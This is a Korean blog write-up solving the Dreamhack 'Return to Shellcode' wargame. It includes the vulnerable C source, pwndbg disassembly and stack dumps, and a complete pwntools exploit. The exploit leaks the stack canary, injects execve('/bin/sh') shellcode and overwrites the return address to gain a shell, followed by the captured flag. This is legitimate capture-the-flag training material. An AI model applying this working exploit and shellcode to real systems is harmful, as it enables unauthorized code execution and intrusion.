dreamhack - Return to Shellcode writeup
[dreamhack] Return to Shellcode writeup
1. 문제

Exploit Tech: Return to Shellcode에서 실습하는 문제입니다.
https://dreamhack.io/wargame/challenges/3522. 풀이
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main() {
char buf[0x50];
init();
printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",
(char*)__builtin_frame_address(0) - buf);
printf("[1] Leak the canary\n");
printf("Input: ");
fflush(stdout);
read(0, buf, 0x100);
printf("Your input is '%s'\n", buf);
puts("[2] Overwrite the return address");
printf("Input: ");
fflush(stdout);
gets(buf);
return 0;
}
먼저 buf
의 주소와 buf
와 $rbp
의 거리를 알려준다.
그뒤 canary
leak을 위해서 입력을 하고, 리턴 주소를 덮을 기회를 준다.
canary
는 bof
공격을 보호하기 위해 스택 마지막 부분, 리턴주소와 sfp
이전에 존재하는 임의의 8바이트짜리 랜덤값이다.
(32비트에서는 4바이트)
그러면 canary
를 어떻게 leak을 하느냐이다. 코드를 보면 %s로 입력한 내용을 출력해주기 때문에, null
문자가 나올 때까지 출력해줄 것이다. 이를 이용해서 buf
변수를 꽉채우면 canary
를 모두 출력할 수 있을 것이다.
그런데 중요한 것은 canary
는 일반적으로 이러한 leak을 방지하기 위해서(?) null
이 마지막 1 또는 2바이트를 차지하게 된다. 예를 들면 0x7e179e56f4221c00
이런식….
gdb
를 보면 canary
는 rbp-0x8
위치에 있고, buf
는 rbp-0x60
에 위치한다.
pwndbg> disass main
Dump of assembler code for function main:
0x00000000000008cd <+0>: push rbp
0x00000000000008ce <+1>: mov rbp,rsp
0x00000000000008d1 <+4>: sub rsp,0x60
0x00000000000008d5 <+8>: mov rax,QWORD PTR fs:0x28
0x00000000000008de <+17>: mov QWORD PTR [rbp-0x8],rax
0x00000000000008e2 <+21>: xor eax,eax
0x00000000000008e4 <+23>: mov eax,0x0
0x00000000000008e9 <+28>: call 0x88a <init>
0x00000000000008ee <+33>: lea rax,[rbp-0x60]
0x00000000000008f2 <+37>: mov rsi,rax
0x00000000000008f5 <+40>: lea rdi,[rip+0x16c] # 0xa68
0x00000000000008fc <+47>: mov eax,0x0
0x0000000000000901 <+52>: call 0x720 <printf@plt>
0x0000000000000906 <+57>: mov rax,rbp
0x0000000000000909 <+60>: mov rdx,rax
0x000000000000090c <+63>: lea rax,[rbp-0x60]
0x0000000000000910 <+67>: sub rdx,rax
0x0000000000000913 <+70>: mov rax,rdx
0x0000000000000916 <+73>: mov rsi,rax
0x0000000000000919 <+76>: lea rdi,[rip+0x160] # 0xa80
0x0000000000000920 <+83>: mov eax,0x0
0x0000000000000925 <+88>: call 0x720 <printf@plt>
0x000000000000092a <+93>: lea rdi,[rip+0x173] # 0xaa4
0x0000000000000931 <+100>: call 0x700 <puts@plt>
0x0000000000000936 <+105>: lea rdi,[rip+0x17b] # 0xab8
0x000000000000093d <+112>: mov eax,0x0
0x0000000000000942 <+117>: call 0x720 <printf@plt>
0x0000000000000947 <+122>: mov rax,QWORD PTR [rip+0x2006c2] # 0x201010 <stdout@@GLIBC_2.2.5>
0x000000000000094e <+129>: mov rdi,rax
0x0000000000000951 <+132>: call 0x750 <fflush@plt>
0x0000000000000956 <+137>: lea rax,[rbp-0x60]
0x000000000000095a <+141>: mov edx,0x100
0x000000000000095f <+146>: mov rsi,rax
0x0000000000000962 <+149>: mov edi,0x0
0x0000000000000967 <+154>: call 0x730 <read@plt>
0x000000000000096c <+159>: lea rax,[rbp-0x60]
0x0000000000000970 <+163>: mov rsi,rax
0x0000000000000973 <+166>: lea rdi,[rip+0x146] # 0xac0
0x000000000000097a <+173>: mov eax,0x0
0x000000000000097f <+178>: call 0x720 <printf@plt>
0x0000000000000984 <+183>: lea rdi,[rip+0x14d] # 0xad8
0x000000000000098b <+190>: call 0x700 <puts@plt>
0x0000000000000990 <+195>: lea rdi,[rip+0x121] # 0xab8
0x0000000000000997 <+202>: mov eax,0x0
0x000000000000099c <+207>: call 0x720 <printf@plt>
0x00000000000009a1 <+212>: mov rax,QWORD PTR [rip+0x200668] # 0x201010 <stdout@@GLIBC_2.2.5>
0x00000000000009a8 <+219>: mov rdi,rax
0x00000000000009ab <+222>: call 0x750 <fflush@plt>
0x00000000000009b0 <+227>: lea rax,[rbp-0x60]
0x00000000000009b4 <+231>: mov rdi,rax
0x00000000000009b7 <+234>: mov eax,0x0
0x00000000000009bc <+239>: call 0x740 <gets@plt>
0x00000000000009c1 <+244>: mov eax,0x0
0x00000000000009c6 <+249>: mov rcx,QWORD PTR [rbp-0x8]
0x00000000000009ca <+253>: xor rcx,QWORD PTR fs:0x28
0x00000000000009d3 <+262>: je 0x9da <main+269>
0x00000000000009d5 <+264>: call 0x710 <__stack_chk_fail@plt>
0x00000000000009da <+269>: leave
0x00000000000009db <+270>: ret
End of assembler dump.
우선 main+21
에 breakpoint를 걸고, rbp-0x8
에 어떻게 들어가는지 확인해보자.
pwndbg> b*main+21
Breakpoint 2 at 0x5555554008e2
pwndbg> c
Continuing.
Breakpoint 2, 0x00005555554008e2 in main ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
──────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────
*RAX 0x67d2b93405fadf00
RBX 0x7fffffffe2c8 —▸ 0x7fffffffe541 ◂— '/home/ubuntu/dreamhack/level2/Return_to_Shellcode/r2s'
RCX 0x5555554009e0 (__libc_csu_init) ◂— push r15
RDX 0x7fffffffe2d8 —▸ 0x7fffffffe577 ◂— 'SHELL=/bin/bash'
RDI 1
RSI 0x7fffffffe2c8 —▸ 0x7fffffffe541 ◂— '/home/ubuntu/dreamhack/level2/Return_to_Shellcode/r2s'
R8 0x555555400a50 (__libc_csu_fini) ◂— repz ret
R9 0x7ffff7fca380 (_dl_fini) ◂— endbr64
R10 0x7fffffffdec0 ◂— 0x800000
R11 0x203
R12 1
R13 0
R14 0
R15 0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe2e0 —▸ 0x555555400000 ◂— jg 0x555555400047
*RBP 0x7fffffffe1a0 —▸ 0x7fffffffe240 —▸ 0x7fffffffe2a0 ◂— 0
*RSP 0x7fffffffe140 ◂— 0x100000017
*RIP 0x5555554008e2 (main+21) ◂— xor eax, eax
───────────────────────────────────[ DISASM / x86-64 / set emulate off ]───────────────────────────────────
b+ 0x5555554008cd <main> push rbp
0x5555554008ce <main+1> mov rbp, rsp
0x5555554008d1 <main+4> sub rsp, 0x60
0x5555554008d5 <main+8> mov rax, qword ptr fs:[0x28] RAX, [0x7ffff7fb2768]
0x5555554008de <main+17> mov qword ptr [rbp - 8], rax
► 0x5555554008e2 <main+21> xor eax, eax EAX => 0
0x5555554008e4 <main+23> mov eax, 0 EAX => 0
0x5555554008e9 <main+28> call init <init>
0x5555554008ee <main+33> lea rax, [rbp - 0x60]
0x5555554008f2 <main+37> mov rsi, rax
0x5555554008f5 <main+40> lea rdi, [rip + 0x16c] RDI => 0x555555400a68 ◂— jb 0x555555400ad2 /* 'Address of the buf: %p\n' */
─────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe140 ◂— 0x100000017
01:0008│-058 0x7fffffffe148 ◂— 0
... ↓ 6 skipped
───────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────
► 0 0x5555554008e2 main+21
1 0x7ffff7c2a1ca __libc_start_call_main+122
2 0x7ffff7c2a28b __libc_start_main+139
3 0x5555554007aa _start+42
───────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/10gx $rbp-8
0x7fffffffe198: 0x67d2b93405fadf00 0x00007fffffffe240
0x7fffffffe1a8: 0x00007ffff7c2a1ca 0x00007fffffffe1f0
0x7fffffffe1b8: 0x00007fffffffe2c8 0x0000000155400040
0x7fffffffe1c8: 0x00005555554008cd 0x00007fffffffe2c8
0x7fffffffe1d8: 0xb06b2ab07b2a81a3 0x0000000000000001
마지막을 보면 0x67d2b93405fadf00
이라는 값을 확인할 수 있고, 예상되는 널바이트는 하나이다.
따라서 0x60 - 0x8
인 0x58
바이트에 1바이트를 더한 0x59
바이트를 buf
에 입력해주면 그다음 나오는 7바이트가 canary
가 될 것이다.
checksec
을 확인해보면 스택에서 코드를 실행시킬 수 있으므로, buf
위치에 shellcode
를 넣고 리턴주소를 buf
주소로 덮어주면 쉘이 실행될 것이다.
정리한 최종 exploit은 아래와 같다.
from pwn import *
#p = process("./r2s")
p = remote("host3.dreamhack.games", 15296)
tmp = p.recvuntil("Input: ")
buf_addr = int(tmp.split()[4].decode(), 16)
print(buf_addr)
p.send(b"a" * 88 + b'b')
tmp = p.recvuntil(b'b')
canary = u64(b"\x00" + p.recv(7))
print(hex(canary))
shellcode = b'\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
p.recvuntil("Input: ")
payload = b'\x90' * 8
payload += shellcode
payload += b'\x90' * (88 - 8 - len(shellcode))
payload += p64(canary)
payload += b"a" * 8
payload += p64(buf_addr)
p.send(payload)
sleep(1)
p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level2/Return_to_Shellcode$ python3 e_r2s.py
[+] Opening connection to host3.dreamhack.games on port 15296: Done
/home/ubuntu/dreamhack/level2/Return_to_Shellcode/e_r2s.py:6: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
tmp = p.recvuntil("Input: ")
140733860162336
0xc33ba365fc5faa00
/home/ubuntu/dreamhack/level2/Return_to_Shellcode/e_r2s.py:19: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("Input: ")
[*] Switching to interactive mode
$ id
$ cat flag
DH{333eb89c9d2615dd8942ece08c1d34d5}
해결~